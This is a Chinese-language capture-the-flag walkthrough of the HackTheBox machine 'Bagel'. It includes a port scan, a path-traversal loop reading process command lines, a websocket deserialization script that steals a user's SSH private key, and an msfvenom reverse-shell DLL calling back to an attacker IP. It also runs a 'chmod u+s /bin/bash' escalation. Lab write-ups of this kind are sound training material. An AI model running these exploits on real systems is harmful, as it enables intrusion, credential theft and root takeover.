靶机—— Bagel【ChatGPT答疑】

└─# nmap --min-rate=1000 -Pn -vvv -p- --open -sS 10.10.11.201
Completed SYN Stealth Scan at 09:34, 76.97s elapsed (65535 total ports)Nmap scan report for 10.10.11.201Host is up, received user-set (0.31s latency).Scanned at 2023-03-20 09:32:54 CST for 77sNot shown: 64224 closed tcp ports (reset), 1308 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT     STATE SERVICE  REASON22/tcp   open  ssh      syn-ack ttl 635000/tcp open  upnp     syn-ack ttl 638000/tcp open  http-alt syn-ack ttl 63
Read data files from: /usr/bin/../share/nmapNmap done: 1 IP address (1 host up) scanned in 77.08 seconds           Raw packets sent: 79316 (3.490MB) | Rcvd: 73608 (2.944MB)

nmap参数解释-vvv 详细输出--min-rate 每秒最少发包-sS syn扫描--open 只显示开放端口-p- 全端口扫描-Pn  做noping处理

echo "10.10.11.201 bagel.htb" >> /etc/hosts

developer:x:1000:1000::/home/developer:/bin/bashphil:x:1001:1001::/home/phil:/bin/bash

from flask import Flask, request, send_file, redirect, Responseimport os.pathimport websocket,json
app = Flask(__name__)
@app.route('/')def index():        if 'page' in request.args:            page = 'static/'+request.args.get('page')            if os.path.isfile(page):                resp=send_file(page)                resp.direct_passthrough = False                if os.path.getsize(page) == 0:                    resp.headers["Content-Length"]=str(len(resp.get_data()))                return resp            else:                return "File not found"        else:                return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.    try:        ws = websocket.WebSocket()            ws.connect("ws://127.0.0.1:5000/") # connect to order app        order = {"ReadOrder":"orders.txt"}        data = str(json.dumps(order))        ws.send(data)        result = ws.recv()        return(json.loads(result)['ReadOrder'])    except:        return("Unable to connect")
if __name__ == '__main__':  app.run(host='0.0.0.0', port=8000)

└─# for i in $(seq 1 1000); do curl http://10.10.11.201:8000/?page=../../../../proc/$i/cmdline -o -; echo "  PID => $i";done

import json,websocketws = websocket.WebSocket()ws.connect("ws://10.10.11.201:5000/") # connect to order apporder = { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}data = str(json.dumps(order))ws.send(data)result = ws.recv()print(result)

[phil@bagel ~]$ su developerPassword: [developer@bagel phil]$ iduid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023[developer@bagel phil]$ 

msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.10.16.3 LPORT=4444 --platform linux -a x64 -n 200 -e generic/none -i 4 -b "badchars" -f dll -o reverse_shell.dll

> open System.Diagnostics- let psi = new ProcessStartInfo("chmod", "u+s /bin/bash")- psi.UseShellExecute <- false- let process = Process.Start(psi)- process.WaitForExit() |> ignore- ;;
使用ctrl - d 退出交互窗口